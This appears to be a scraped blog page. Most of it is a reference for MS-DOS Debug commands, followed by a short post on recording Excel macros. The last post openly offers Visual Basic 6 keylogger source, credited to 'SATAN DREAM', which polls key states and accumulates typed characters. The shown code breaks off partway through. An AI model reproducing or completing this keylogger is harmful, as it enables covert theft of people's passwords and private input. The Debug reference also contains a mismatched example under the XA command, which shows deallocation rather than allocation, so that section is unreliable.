04BA:0100 54 4F 4D 00 53 41 57 59-45 52 00 00 00 00 00 00 TOM.SAWYER......

If you type the d command without parameters, Debug formats the display as described in the previous example. Each line of the display begins with an address that is 16 bytes greater than the address on the previous line (or 8 bytes if you have a 40-column screen).

For each subsequent d command you type without parameters, Debug displays the bytes immediately following those last displayed.

If you type the following command, Debug displays the contents of 20h bytes, starting at CS:100:

dcs:100 l 20

If you type the following command, Debug displays the contents of all bytes in the range of lines from 100h through 115h in the CS segment:

dcs:100 115

Related Commands

For information about displaying the contents of registers, see the Debug r (Register) command.

For information about disassembling bytes, see the Debag u (Unassemble) command.

Top Of Page

Debug: E (Enter)

Enters data into memory at the address you specify.

You can type data in either hexadecimal or ASCII format. Any data previously stored at the specified address is lost.

Syntax

e address [list]

Parameters

address

Specifies the first memory location where you want to enter data.

list

Specifies the data you want to enter into successive bytes of memory.

Notes

Using the address parameter

If you specify a value for address without specifying a value for the optional list parameter, Debug displays the address and its contents, repeats the address on the next line, and waits for your input. At this point, you can perform one of the following actions:

Replace the byte value. To do this, you type a new value after the current value. If the value you type is not a valid hexadecimal value or if it contains more than two digits, Debug does not echo the invalid or extra character.
Advance to the next byte. To do this, you press the SPACEBAR. To change the value in that byte, type a new value after the current value. If you move beyond an 8-byte boundary when you press the SPACEBAR, Debug starts a new display line and displays the new address at the beginning of the line.
Return to the preceding byte. To do this, you press the HYPHEN key. You can press the HYPHEN key repeatedly to move back more than 1 byte. When you press HYPHEN, Debug starts a new line and displays the current address and byte value.
Stop the e command. To do this, you press the ENTER key. You can press ENTER at any byte position.

Using the list parameter

If you specify values for the list parameter, the e command sequentially replaces the existing byte values with the values from the list. If an error occurs, no byte values are changed.

List values can be either hexadecimal byte values or strings. You separate values by using a space, a comma, or a tab character. You must enclose strings within single or double quotation marks.

Examples

Suppose you type the following command:

ecs:100

Debug displays the contents of the first byte in the following format:

04BA:0100 EB._

To change this value to 41, type 41 at the cursor, as follows:

04BA:0100 EB.41_

You can type consecutive byte values with one e command. Instead of pressing ENTER after typing the new value, press the SPACEBAR. Debug displays the next value. In this example, if you press the SPACEBAR three times, Debug displays the following values:

04BA:0100 EB.41  10. 00. BC._

To change the hexadecimal value BC to 42, type 42 at the cursor, as follows:

04BA:0100 EB.41  10. 00. BC.42_

Now suppose that you decide the value 10 should be 6F. To correct this value, press the HYPHEN key twice to return to address 0101 (value 10). Debug displays the following:

04BA:0100 EB.41  10. 00. BC.42-
04BA:0102  00.-
04BA:0101  10._

Type 6f at the cursor to change the value, as follows:

04BA:0101  10.6f_

Press ENTER to stop the e command and return to the Debug prompt.

The following is an example of a string entry:

eds:100 "This is the text example"

This string will fill 24 bytes, starting at DS:100.

Related Commands

For information about assembling mnemonics, see the Debug a (Assemble) command.

For information about displaying the contents of a portion of memory, see the Debug d (Dump) command.

Top Of Page

Debug: F (Fill)

Fills addresses in the specified memory area with values you specify.

You can specify data in either hexadecimal or ASCII format. Any data you previously stored at the specified address is lost.

Syntax

f range list

Parameters

range

Specifies the starting and ending addresses, or the starting address and length, of the memory area you want to fill. For information about valid range values, see the debug command.

list

Specifies the data you want to enter. List can consist of hexadecimal numbers or a string enclosed in quotation marks.

Notes

Using the range parameter

If range contains more bytes than the number of values in list, Debug assigns the values in list repeatedly until all bytes in range are filled.

If any of the memory in range is bad or doesn't exist, Debug displays an error message and stops the f command.

Using the list parameter

If list contains more values than the number of bytes in range, Debug ignores the extra values in list.

Example

Suppose you type the following command:

f04ba:100l100 42 45 52 54 41

In response, Debug fills memory locations 04BA:100 through 04BA:1FF with the values specified. Debug repeats the five values until all the 100h bytes are filled.

Top Of Page

Debug: G (Go)

Runs the program currently in memory.

Syntax

g [=address] [breakpoints]

Parameters

= address

Specifies the address in the program currently in memory at which you want execution to begin. If you do not specify address, MS-DOS begins program execution at the current address in the CS:IP registers.

breakpoints

Specifies 1 to 10 temporary breakpoints that you can set as part of the g command.

Notes

Using the address parameter

You must precede the address parameter with an equal sign (=) to distinguish the starting address (address) from the breakpoint addresses (breakpoints).

Specifying breakpoints

The program stops at the first breakpoint it encounters, regardless of where you typed that breakpoint in the breakpoints list. Debug replaces the original instruction at each breakpoint with an interrupt code.

When the program reaches a breakpoint, Debug restores all breakpoint addresses to their original instructions and displays the contents of all registers, the status of all flags, and the decoded form of the last instruction executed. Debug displays the same information as it would display if you used the Debug r (register) command and specified the breakpoint address.

If you do not stop the program at one of the breakpoints, Debug does not replace the interrupt codes with the original instructions.

Limitations on setting breakpoints

You can set breakpoints only at addresses containing the first byte of an 8086 operation code (opcode). If you set more than 10 breakpoints, Debug displays the following message:

bp Error

Requirements for the user stack pointer

The user stack pointer must be valid and must have 6 bytes available for the g command. This command uses an iret instruction to jump to the program being tested. Debug sets the user stack pointer and pushes the user flags, the code segment register, and the instruction pointer onto the user stack. (If the user stack is not valid or is too small, the operating system might fail.) Debug places an interrupt code (0CCh) at the specified breakpoint address(es).

Restarting a program

Do not attempt to restart a program after MS-DOS displays the following message:

Program terminated normally

To run the program properly, you must reload it by using the Debug n (name) and l (load) commands.

Examples

Suppose you type the following command:

gcs:7550

MS-DOS runs the program currently in memory up to the breakpoint address 7550 in the CS segment. Debug then displays the contents of the registers and the status of the flags and stops the g command.

The following command sets two breakpoints:

gcs:7550, cs:8000

If you type the g command again after Debug encounters a breakpoint, execution begins at the instruction after the breakpoint, rather than at the usual starting address.

Related Commands

For information about executing a loop, a repeated string instruction, a software interrupt, or a subroutine, see the Debug p (Proceed) command.

For information about executing one instruction, see the Debug t (Trace) command.

Top Of Page

Debug: H (Hex)

Performs hexadecimal arithmetic on two parameters you specify.

Syntax

h value1 value2

Parameters

value1

Represents any hexadecimal number in the range 0 through FFFFh.

value2

Represents a second hexadecimal number in the range 0 through FFFFh.

Note

Debug first adds the two parameters you specify and then subtracts the second parameter from the first. The results of these calculations are displayed on one line — first the sum, then the difference.

Example

Suppose you type the following command:

h19f 10a

Debug performs the calculations and displays the following result:

02A9 0095

Top Of Page

Debug: I (Input)

Reads and displays one byte value from the port you specify.

Syntax

i port

Parameter

port

Specifies the input port by address. The address can be a 16-bit value.

Example

Suppose you type the following command:

i2f8

Suppose also that the byte value at the port is 42h. Debug reads the byte and then displays the value, as follows:

Related Command

For information about sending the value of a byte to an output port, see the Debug o (Output) command.

Top Of Page

Debug: L (Load)

Loads a file or contents of specific disk sectors into memory.

To load the contents of the number of bytes specified in the BX:CX registers from a disk file, use the following syntax:

Syntax l [address]

To bypass the MS-DOS file system and directly load specific sectors, use the following syntax: l address drive start number

Parameters

address

Specifies the memory location where you want to load the file or the sector contents. If you do not specify address, Debug uses the current address in the CS register.

drive

Specifies the drive that contains the disk from which specific sectors are to be read. This value is numeric: 0 = A, 1 = B, 2 = C, and so on. You use the drive, start, and number parameters only if you want to load the contents of specific sectors rather than load the file specified on the debug command line or in the most recent Debug n (name) command.

start

Specifies the hexadecimal number of the first sector whose contents you want to load.

number

Specifies the hexadecimal number of consecutive sectors whose contents you want to load.

Notes

Using the l command without parameters

When you use the l command without parameters, the file you specified on the debug command line is loaded into memory, beginning at address CS:100. Debug also sets the BX and CX registers to the number of bytes loaded. If you did not specify a file on the debug command line, the file loaded is the one you most recently specified by using the n command.

Using the l command with the address parameter

If you use the l command with the address parameter, Debug begins loading the file or the contents of the specified sectors at the memory location address.

Using the l command with all parameters

If you use the l command with all parameters, Debug loads the contents of specific disk sectors instead of loading a file.

Loading the contents of specific sectors

Each sector in the range you specify is read from drive. Debug begins loading with start and continues until the contents of the number of sectors specified in number have been loaded.

Loading an .EXE file

Debug ignores the address parameter for .EXE files. If you specify an .EXE file, Debug relocates the file to the loading address specified in the header of the .EXE file. The header itself is stripped off the .EXE file before the file is loaded into memory, so the size of an .EXE file on disk differs from its size in memory. If you want to examine a complete .EXE file, rename the file with a different extension.

Opening a hex file

A hex file is a file that uses the Intel hexadecimal format, as described in The MS-DOS Encyclopedia. Debug assumes that files with the .HEX extension are hexadecimal-format files. You can type the l command with no parameters to load a hex file beginning at the address specified in the hex file. If the l command you type includes the address parameter, Debug adds the specified address to the address found in the hex file to determine the starting address.

Examples

Suppose you start Debug and type the following command:

nfile.com

You can now type the l command to load FILE.COM. Debug loads the file and displays the Debug prompt.

Suppose that you want to load the contents of 109 (6Dh) sectors from drive C, beginning with logical sector 15 (0Fh), into memory beginning at address 04BA:0100. To do this, type the following command:

l04ba:100 2 0f 6d

Related Commands

For information about specifying a file for the l command, see the Debug n (Name) command.

For information about writing the file being debugged to a disk, see the Debug w (Write) command.

Top Of Page

Debug: M (Move)

Copies the contents of a block of memory to another block of memory.

Syntax

m range address

Parameters

range

Specifies the starting and ending addresses, or the starting address and the length, of the memory area whose contents you want to copy.

address

Specifies the starting address of the location to which you want to copy the contents of range.

Notes

Effects of the copy operation on existing data

If the addresses in the block being copied do not have new data written to them, the original data remains intact. However, if the destination block already contains data (as it might in an overlapping copy operation), that data is overwritten. (Overlapping copy operations are those in which part of the destination block overlaps part of the source block.)

Performing overlapping copy operations

The m command performs overlapping copy operations without losing data at the destination addresses. The contents of addresses that will be overwritten are copied first. Thus, if data is to be copied from higher addresses to lower addresses, the copy operation begins at the source block's lowest address and progresses toward the highest address. Conversely, if data is to be copied from lower addresses to higher addresses, the copy operation begins at the source block's highest address and progresses toward the lowest address.

Example

Suppose you type the following command:

mcs:100 110 cs:500

Debug first copies the contents of address CS:110 to CS:510, then copies the contents of CS:10F to CS:50F, and so on until it has copied the contents of CS:100 to CS:500. To view the results, you can use the Debug d (dump) command, specifying the destination address you used with the m command.

Top Of Page

Debug: N (Name)

Specifies the name of an executable file for a Debug l (load) or w (write) command, or specifies parameters for the executable file being debugged.

Syntax

n [drive:][path]filename

To specify parameters for the executable file you are testing, use the following syntax:

n file-parameters

To clear the current specifications, use the following syntax:

Parameters

[ drive :][ path ] filename

Specifies the location and name of the executable file you want to test.

file-parameters

Specifies parameters and switches for the executable file you are testing.

Notes

The two uses of the n command

You can use the n command in two ways. First, you can use it to specify a file to be used by a later l or w command. If you start Debug without naming a file to be debugged, you must use the command nfilename before you can use the l command to load the file. The filename is correctly formatted for a file control block at CS:5C. Second, you can use the n command to specify command-line parameters and switches for the file being debugged.

Memory areas

Memory location	Contents
CS:5C	File control block (FCB) for file 1
CS:6C	File control block (FCB) for file 2
CS:80	Length of n command line (in characters)
CS:81	Beginning of n command-line characters

The first filename you specify for the n command is placed in a file control block (FCB) at CS:5C. If you specify a second filename, this name is placed in an FCB at CS:6C. The number of characters typed on the n command line (exclusive of the first character, n) is stored at location CS:80. The actual characters on the n command line (again, exclusive of the letter n) are stored beginning at CS:81. Note that these characters can be any switches and delimiters that would be legal in a command typed at the MS-DOS prompt.

Examples

Suppose you've started Debug and loaded the program PROG.COM for debugging. You subsequently decide to specify two parameters for PROG.COM and run the program. Following is the sequence of commands for this example:

    debug prog.com
   nparam1 param2
   g

In this case, the Debug g (go) command runs the program as if you had typed the following command at the MS-DOS prompt:

prog param1 param2

Testing and debugging therefore reflect a typical run-time environment for PROG.COM.

In the following sequence of commands, the first n command specifies FILE1.EXE as the file for the subsequent l command, which loads FILE1.EXE into memory. The second n command specifies the parameters to be used by FILE1.EXE. Finally, the g command runs FILE1.EXE as if you had typed file1 file2.dat file3.dat at the MS-DOS prompt.

nfile1.exe
l
nfile2.dat file3.dat
g

Note that you do not use the l command after the second form of the n command. Also note that if you now use the w command, MS-DOS saves FILE1.EXE, the file being debugged, with the name FILE2.DAT. To avoid this result, you should always use the first form of the n command immediately before either an l or a w command.

Related Commands

For information about loading the contents of a file or of specific disk sectors into memory, see the Debug l (Load) command.

For information about writing the file being debugged to a disk, see the Debug w (Write) command.

Top Of Page

Debug: O (Output)

Sends the value of a byte to an output port.

Syntax

o port byte-value

Parameters

port

Specifies the output port by address. The port address can be a 16-bit value.

byte-value

Specifies the byte value you want to direct to port.

Example

To send the byte value 4Fh to the output port at address 2F8h, type the following command:

o2f8 4f

Related Command

For information about reading the value of a byte from an input port, see the Debug i (Input) command.

Top Of Page

Debug: P (Proceed)

Executes a loop, a repeated string instruction, a software interrupt, or a subroutine; or traces through any other instruction.

Syntax

p [=address] [number]

Parameters

= address

Specifies the location of the first instruction to execute. If you do not specify an address, the default address is the current address specified in the CS:IP registers.

number

Specifies the number of instructions to execute before returning control to Debug. The default value is 1.

Notes

Transferring control to the program being tested

When the p command transfers control from Debug to the program being tested, that program runs without interruption until the loop, repeated string instruction, software interrupt, or subroutine at the specified address is completed, or until the specified number of machine instructions have been executed. Control then returns to Debug.

Limitations on the address parameter

If the address parameter does not specify a segment, Debug uses the CS register of the program being tested. If you omit address, the program is executed beginning at the address specified by its CS:IP registers. You must precede the address parameter with an equal sign (=) to distinguish it from the number parameter. If the instruction at the specified address is not a loop, a repeated string instruction, a software interrupt, or a subroutine, the p command works the same way as the Debug t (trace) command.

Messages displayed with the p command

After p executes an instruction, Debug displays the contents of the program's registers, the status of its flags, and the decoded form of the next instruction to be executed.

Caution: You cannot use the p command to trace through read-only memory (ROM).

Example

Suppose that the program you're testing contains a call instruction at address CS:143F. To run the subroutine that is the destination of call and then return control to Debug, type the following command:

p=143f

Debug displays the results in the following format:

AX=0000  BX=0000  CX=0000  DX=0000  SP=FFEE  BP=0000  SI=0000  DI=0000
DS=2246  ES=2246  SS=2246  CS=2246  IP=1443   NV UP EI PL NZ AC PO NC
2246:1442 7505          JNZ     144A

Related Commands

For information about running the program currently in memory, see the Debug g (Go) command.

For information about executing one instruction, see the Debug t (Trace) command.

Top Of Page

Debug: Q (Quit)

Stops the Debug session without saving the file currently being tested.

After you type q, control returns to MS-DOS.

Syntax q

Example

To stop the debugging session, type the following command: q

MS-DOS displays the MS-DOS prompt.

Related Command

For information about saving a file, see the Debug w (Write) command.

Top Of Page

Debug: R (Register)

Displays or alters the contents of one or more central-processing-unit (CPU) registers.

Syntax r [register-name]

To display the contents of all registers and flags in the register storage area, use the following syntax: r

Parameter

register-name

Specifies the name of the register whose contents you want to display.

Notes

Using the r command

If you specify a register name, MS-DOS displays the 16-bit value of that register in hexadecimal notation and displays a colon as the prompt. If you want to change the value contained in the register, type a new value and press ENTER; otherwise, just press ENTER to return to the Debug prompt.

Valid register names

The following are valid values for register-name: ax, bx, cx, dx, sp, bp, si, di, ds, es, ss, cs, ip, pc, and f. Both ip and pc refer to the instruction pointer.

If you specify a register name other than one from the preceding list, MS-DOS displays the following message:

br error

Using the f character instead of a register name

If you type the f character instead of a register name, Debug displays the current setting of each flag as a two-letter code and then displays the Debug prompt. To change the setting of a flag, type the appropriate two-letter code from the following table:

Flag name	Set	Clear
Overflow	ov	nv
Direction	dn (decrement)	up (increment)
Interrupt	ei (enabled)	di (disabled)
Sign	ng (negative)	pl (positive)
Zero	zr	nz
Auxiliary Carry	ac	na
Parity	pe (even)	po (odd)
Carry	cy	nc

You can type new flag values in any order. You need not leave spaces between these values. To stop the r command, press ENTER. Any flags for which you did not specify new values remain unchanged.

Messages displayed with the r command

If you specify more than one value for a flag, Debug displays the following message:

df error

If you specify a flag code not listed in the preceding table, Debug displays the following message:

bf error

In both cases, Debug ignores all settings specified after the invalid entry.

Default settings for Debug

When you start Debug, the segment registers are set to the bottom of free memory, the instruction pointer is set to 0100h, all flags are cleared, and the remaining registers are set to zero, except for sp, which is set to FFEEh.

Examples

To view the contents of all registers, the status of all flags, and the decoded form of the instruction at the current location, type the following command:

If the current location is CS:11A, the display will look similar to the following:

AX=0E00 BX=00FF CX=0007 DX=01FF SP=039D BP=0000 SI=005C DI=0000
DS=04BA ES=04BA SS=04BA CS=O4BA IP=011A  NV UP DI NG NZ AC PE NC
04BA:011A  CD21          INT     21

To view only the status of the flags, type the following command:

rf

Debug displays the information in the following format:

NV UP DI NG NZ AC PE NC - _

Now you can type one or more valid flag values, in any order, with or without spaces, as in the following command:

nv up di ng nz ac pe nc – pleicy

Debug stops the r command and displays the Debug prompt. To see the changes, type either the r or rf command. Debug then displays the following:

NV UP EI PL NZ AC PE CY - _

Press ENTER to return to the Debug prompt.

Related Commands

For information about displaying the contents of a portion of memory, see the Debug d (Dump) command.

For information about disassembling bytes, see the Debug u (Unassemble) command.

Top Of Page

Debug: S (Search)

Searches a range of addresses for a pattern of one or more byte values.

Syntax

s range list

Parameters

range

Specifies the beginning and ending addresses of the range you want to search. For information about valid values for the range parameter, see the debug command.

list

Specifies the pattern of one or more byte values or a string you want to search for. Separate each byte value from the next with a space or a comma. Enclose string values in quotation marks.

Note

If the list parameter contains more than one byte value, Debug displays only the first address where the byte value occurs. If list contains only one byte value, Debug displays all addresses where the value occurs in the specified range.

Examples

Suppose you want to find all addresses in the range CS:100 through CS:110 that contain the value 41. To do this, type the following command:

scs:100 110 41

Debug displays the results in the following format:

04BA:0104
04BA:010D
-

The following command searches for the string "Ph" in the range CS:100 through CS:1A0:

scs:100 1a0 "Ph"

Top Of Page

Debug: T (Trace)

Executes one instruction and displays the contents of all registers, the status of all flags, and the decoded form of the instruction executed.

Syntax t [=address] [number]

Parameters

= address

Specifies the address at which Debug is to start tracing instructions. If you omit the address parameter, tracing begins at the address specified by your program's CS:IP registers. For information about valid values for the address parameter, see the debug command.

number

Specifies the number of instructions to be traced. This value must be a hexadecimal number. The default value is 1.

Notes

Tracing instructions in read-only memory

The t command uses the hardware trace mode of the 8086 or 8088 microprocessor. Therefore, you can also trace instructions stored in read-only memory (ROM).

Using the address parameter

You must precede the address parameter with an equal sign (=) to distinguish it from the number parameter.

Example

To execute one instruction (pointed to by CS:IP), and then display the contents of the registers, the status of the flags, and the decoded form of the instruction, type the following command:

If the position of the instruction in the program were 04BA:011A, Debug might display the following information:

AX=0E00 BX=00FF CX=0007 DX=01FF SP=039D BP=0000 SI=005C DI=0000
DS=04BA ES=04BA SS=04BA CS=O4BA IP=011A  NV UP DI NG NZ AC PE NC
04BA:011A  CD21          INT     21

Related Commands

For information about executing a loop, a repeated string instruction, a software interrupt, or a subroutine, see the Debug p (Proceed) command.

For information about executing the program currently in memory, see the Debug g (Go) command.

Top Of Page

Debug: U (Unassemble)

Disassembles bytes and displays their corresponding source statements, including addresses and byte values. The disassembled code looks like a listing for an assembled file.

Syntax u [range]

To disassemble 20h bytes (the default number), beginning at the first address after the address displayed by the previous u command, use the following syntax: u

Parameter

range

Specifies the starting and ending addresses, or the starting address and length, of the code you want to disassemble. For information about valid values for the range parameter, see the debug command.

Examples

To disassemble 16 (10h) bytes, beginning at address 04BA:0100, type the following command:

u04ba:100l10

Debug displays the results in the following format:

04BA:0100  206472    AND  [SI+72],AH
04BA:0103  69        DB   69
04BA:0104  7665      JBE  016B
04BA:0106  207370    AND  [BP+DI+70],DH
04BA:0109  65        DB   65
04BA:010A  63        DB   63
04BA:010B  69        DB   69
04BA:010C  66        DB   66
04BA:010D  69        DB   69
04BA:010E  63        DB   63
04BA:010F  61        DB   61

To display only the information for the specific addresses 04BA:0100 through 04BA:0108, type the following command:

u04ba:0100 0108

Debug displays the following:

04BA:0100  206472    AND  [SI+72],AH
04BA:0103  69        DB   69
04BA:0104  7665      JBE  016B
04BA:0106  207370    AND  [BP+DI+70],DH

Related Commands

For information about assembling mnemonics, see the Debug a (Assemble) command.

For information about displaying the contents of a portion of memory, see the Debug d (Dump) command.

Top Of Page

Debug: W (Write)

Writes a file or specific sectors to disk.

You must have specified the name of the disk file when you started Debug or in the most recent Debug n (name) command. Both of these methods properly format a filename for a file control block at address CS:5C.

To write the contents of the number of bytes specified in the BX:CX registers to a disk file, use the following syntax:

Syntax w [address]

To bypass the MS-DOS file system and directly write specific sectors, use the following syntax: w address drive start number

Caution: Writing specific sectors is extremely risky because it bypasses the MS-DOS file handler. The disk's file structure can easily be damaged if the wrong values are typed.

Parameters

address

Specifies the beginning memory address of the file, or portion of the file, you want to write to a disk file. If you do not specify address, Debug starts from CS:100. For information about valid values for the address parameter, see the debug command.

drive

Specifies the drive that contains the destination disk. This value is numeric: 0 = A, 1 = B, 2 = C, and so on.

start

Specifies the hexadecimal number of the first sector to which you want to write.

number

Specifies the number of sectors to which you want to write.

Notes

Resetting BX:CX before using the w command without parameters

If you have used a Debug g (go), t (trace), p (proceed), or r (register) command, you must reset the BX:CX registers before using the w command without parameters.

Writing a modified file to a disk

If you modify the file but do not change the name, length, or starting address, Debug can still correctly write the file to the original disk location.

Limitation on the w command

You cannot write an .EXE or .HEX file with this command.

Example

Suppose you want to write the contents of memory, beginning at the address CS:100, to the disk in drive B. You want the data to begin in the disk's logical sector number 37h and continue for 2Bh sectors. To do this, type the following command:

wcs:100 1 37 2b

When the write operation is complete, Debug displays the Debug prompt again.

Related Commands

For information about specifying a file for the w command, see the Debug n (Name) command.

For information about loading the contents of a file or file sectors into memory, see the Debug l (Load) command.

Top Of Page

Debug: XA (Allocate Expanded Memory)

Allocates a specified number of pages of expanded memory.

To use expanded memory, you must have installed an expanded-memory device driver that conforms to version 4.0 of the Lotus/Intel/Microsoft Expanded Memory Specification (LIM EMS).

Syntax

xa [count]

Parameter

count

Specifies the number of 16-kilobyte pages of expanded memory to allocate.

Example

To deallocate handle 0003, type the following command:

xd 0003

If the command is successful, Debug displays the following message:

Handle 0003 deallocated

Related Commands

For information about other Debug commands that work with expanded memory, see the Debug commands xd (Deallocate Expanded Memory), xm (Map Expanded-Memory Pages), and xs (Display Expanded-Memory Status).

Top Of Page

Debug: XD (Deallocate Expanded Memory)

Deallocates a handle to expanded memory.

To use expanded memory, you must have installed an expanded-memory device driver that conforms to version 4.0 of the Lotus/Intel/Microsoft Expanded Memory Specification (LIM EMS).

xd [handle]

Parameters

handle

Specifies the handle you want to deallocate.

Example

To deallocate handle 0003, type the following command:

xd 0003

If the command is successful, Debug displays the following message:

Handle 0003 deallocated

Related Commands

For information about other Debug commands that work with expanded memory, see the Debug commands xa (allocate expanded memory), xm (map expanded-memory pages), and xs (display expanded-memory status).

Top Of Page

Debug: XM (Map Expanded Memory Pages)

Maps a logical page of expanded memory, belonging to the specified handle, to a physical page of expanded memory.

To use expanded memory, you must have installed an expanded-memory device driver that conforms to version 4.0 of the Lotus/Intel/Microsoft Expanded Memory Specification (LIM EMS).

Syntax

xm [lpage] [ppage] [handle]

Parameters

lpage

Specifies the number of the logical page of expanded memory that you want to map to physical page ppage.

ppage

Specifies the number of the physical page to which lpage is to be mapped.

handle

Specifies the handle.

Example

To map logical page 5 of handle 0003 to physical page 2, type the following command:

xm 5 2 0003

If the command is successful, Debug displays the following message:

Logical page 05 mapped to physical page 02

Related Commands

For information about other Debug commands that work with expanded memory, see the Debug commands xa (Allocate Expanded Memory), xd (Deallocate Expanded Memory), and xs (Display Expanded-Memory Status).

Top Of Page

Debug: XS (Display Expanded-Memory Status)

Displays information about the status of expanded memory.

To use expanded memory, you must have installed an expanded-memory device driver that conforms to version 4.0 of the Lotus/Intel/Microsoft Expanded Memory Specification (LIM EMS).

Syntax

Note

The information that Debug displays has the following format:

Handle xx has xx pages allocated
Physical page xx = Frame segment xx
xx of a total xx EMS pages have been allocated
xx of a total xx EMS handles have been allocated

Example

To display expanded-memory information, type the following command:

xs
Debug displays information similar to the following:
Handle 0000 has 0000 pages allocated
Handle 0001 has 0002 pages allocated
Physical page 00 = Frame segment C000
Physical page 01 = Frame segment C400
Physical page 02 = Frame segment C800
Physical page 03 = Frame segment CC00
2 of a total 80 EMS pages have been allocated
2 of a total FF EMS handles have been allocated

Excel Macros

2008-10-19T08:33:00.000-07:00

Do you have common tasks that you perform over and over in Microsoft Excel For instance, do you often apply the same combination of formats, or do you receive data every week or month that you organize and analyze the same way every time? You can use a macro to combine all of the steps in a task into a single command.

Solutin Is Using Excel Macros.

Point to Macro on the Tools menu, and then click Record New Macro.
In the Record Macro dialog box, type a name for the macro in the Macro name box. Macro names must start with a letter and can include letters, numbers, and underscore characters, but can't include spaces. You don't need to change the other boxes:
When you click OK, the Stop Recording toolbar appears, and you're ready to record. Until you stop the recording, every Excel command and keystroke will be recorded in the macro, in the order in which they are entered.
Now format the cell the way your boss wants it flagged: click Cells on theFormat menu, click the Font tab, click Bold under Font style, click Red forColor, click the Border tab, click Red for Color, click the border thickness you want, click Outline, and then click OK.
To finish recording the macro, click the Stop Recording button:
To see what kind of VBA generated Point to Macro on the Tools menu, and then click Visual Basic Editor.
Click On Module Tree Node, From Expanding Double Click On Macro Name That You Gave

VB 6.0 Code KeyBoard Logger

2008-10-11T23:37:00.001-07:00

'*********************KeyCoardLogerForWindows************
'***********************CODED bY SATAN DREAM*******************
' dot added
Option Explicit
Dim strContent As String
Dim boolCapslockOn As Boolean
Dim boolShiftPresed As Boolean
Dim BOOLCASE As Boolean
Dim strSavePath As String
Dim StrFileName As String
Dim intInd As Long
Dim strFilePath As String
Dim intSpeciachar As Integer
Dim SpecChar As String
Private Declare Function GetKeyState Lib "user32" (ByVal nVirtKey As Long) As Integer 'key bord scan func

Dim StrTExt As String
' follwing is keybord definition
'start function keys
Dim Keydot1 As Long, keydot1pre As Long
Dim KeyPlus As Long, KeyPluspre As Long
Dim KeyAdd As Long, KeyAddpre As Long
Dim KeySub As Long, keySubpre As Long
Dim KeyMulti As Long, KeyMultiPre As Long
Dim KeyDiv As Long, KeyDivper As Long

Dim KeyMin As Long, KeyMinpre As Long
Dim KeyEsc As Long, KeyEscPre As Long
Dim KeyF1 As Long, KeyF1Pre As Long
Dim KeyF2 As Long, KeyF2Pre As Long
Dim KeyF3 As Long, KeyF3Pre As Long
Dim KeyF4 As Long, KeyF4Pre As Long
Dim KeyF5 As Long, KeyF5Pre As Long
Dim KeyF6 As Long, KeyF6Pre As Long
Dim KeyF7 As Long, KeyF7Pre As Long
Dim KeyF8 As Long, KeyF8Pre As Long
Dim KeyF9 As Long, KeyF9Pre As Long
Dim KeyF10 As Long, KeyF10Pre As Long
Dim KeyF11 As Long, KeyF11Pre As Long
Dim KeyF12 As Long, KeyF12Pre As Long

'defines numeric keys
Dim Key1 As Long, Key1Pre As Long
Dim Key2 As Long, Key2Pre As Long
Dim Key3 As Long, Key3Pre As Long
Dim Key4 As Long, Key4Pre As Long
Dim Key5 As Long, Key5Pre As Long
Dim Key6 As Long, Key6Pre As Long
Dim kEY7 As Long, KEY7pRE As Long
Dim Key8 As Long, Key8Pre As Long
Dim Key9 As Long, Key9Pre As Long
Dim Key0 As Long, Key0Pre As Long
'Defines General Keys
Dim KeyA As Long, KeyAPre As Long
Dim KeyB As Long, KeyBPre As Long
Dim KeyC As Long, KeyCPre As Long
Dim KeyD As Long, KeyDPre As Long
Dim KeyE As Long, KeyEPre As Long
Dim KeyF As Long, KeyFPre As Long
Dim KeyG As Long, KeyGPre As Long
Dim KeyH As Long, KeyHPre As Long
Dim KeyI As Long, KeyIPre As Long
Dim KeyJ As Long, KeyJPre As Long
Dim KeyK As Long, KeyKPre As Long
Dim KeyL As Long, KeyLPre As Long
Dim KeyM As Long, KeyMPre As Long
Dim KeyN As Long, KeyNPre As Long
Dim KeyO As Long, KeyOPre As Long
Dim KeyP As Long, KeyPPre As Long
Dim KeyQ As Long, KeyQPre As Long
Dim KeyR As Long, KeyRPre As Long
Dim KeyS As Long, KeySPre As Long
Dim KeyT As Long, KeyTPre As Long
Dim KeyU As Long, KeyUPre As Long
Dim KeyV As Long, KeyVPre As Long
Dim KeyW As Long, KeyWPre As Long
Dim KeyX As Long, KeyXPre As Long
Dim KeyY As Long, KeyYPre As Long
Dim KeyZ As Long, KeyZPre As Long
Dim KeyDot As Long, KeyDotpre As Long
'DEFINES NUMPAD KEYSV
Dim KeyNUM1 As Long, KeyNUM1Pre As Long
Dim KeyNUM2 As Long, KeyNUM2Pre As Long
Dim KeyNUM3 As Long, KeyNUM3Pre As Long
Dim KeyNUM4 As Long, KeyNUM4Pre As Long
Dim KeyNUM5 As Long, KeyNUM5Pre As Long
Dim KeyNUM6 As Long, KeyNUM6Pre As Long
Dim KeyNUM7 As Long, KeyNUM7PRE As Long
Dim KeyNUM8 As Long, KeyNUM8Pre As Long
Dim KeyNUM9 As Long, KeyNUM9Pre As Long
Dim KeyNUM0 As Long, KeyNUM0Pre As Long
'Othe function Keys
Dim KeyTab As Long, KeyTabPre As Long
Dim KeyCapsLock As Long, KeyCapsLockPre As Long
Dim KeyShift As Long, KeyShiftPre As Long
Dim KeyEnter As Long, KeyEnterPre As Long
Dim KeySpace As Long, KeySpacePre As Long
'MOUSE KEYS
Dim KeyMouseLeft As Long, KeyMouseLeftPre As Long
Dim KeyMouseright As Long, keyMouseRightPre As Long
Private Sub scanKeyb()

'**********************************************************

KeyCapsLock = GetKeyState(vbKeyCapital)
If KeyCapsLock = 0 Then

boolCapslockOn = False
ElseIf KeyCapsLock = 1 Then
boolCapslockOn = True
End If

KeyCapsLockPre = KeyCapsLock

'************************************************************
KeyShift = GetKeyState(vbKeyShift)
If KeyShift < 0 Then

boolShiftPresed = True
Else
boolShiftPresed = False
End If
'***********************************************************

KeyA = GetKeyState(vbKeyA)
If KeyA >= 0 And KeyAPre < 0 And BOOLCASE = True Then

strContent = strContent + "A"

ElseIf KeyA >= 0 And KeyAPre < 0 Then
strContent = strContent + "a"

End If

KeyAPre = KeyA
'***********************************************************

KeyB = GetKeyState(vbKeyB)
If KeyB >= 0 And KeyBPre < 0 And BOOLCASE = True Then

strContent = strContent + "B"

ElseIf KeyB >= 0 And KeyBPre < 0 Then
strContent = strContent + "b"

End If

KeyBPre = KeyB
'************************************************************

KeyC = GetKeyState(vbKeyC)
If KeyC >= 0 And KeyCPre < 0 And BOOLCASE = True Then

strContent = strContent + "C"

ElseIf KeyC >= 0 And KeyCPre < 0 Then
strContent = strContent + "c"

End If

KeyCPre = KeyC
'************************************************************

KeyD = GetKeyState(vbKeyD)
If KeyD >= 0 And KeyDPre < 0 And BOOLCASE = True Then

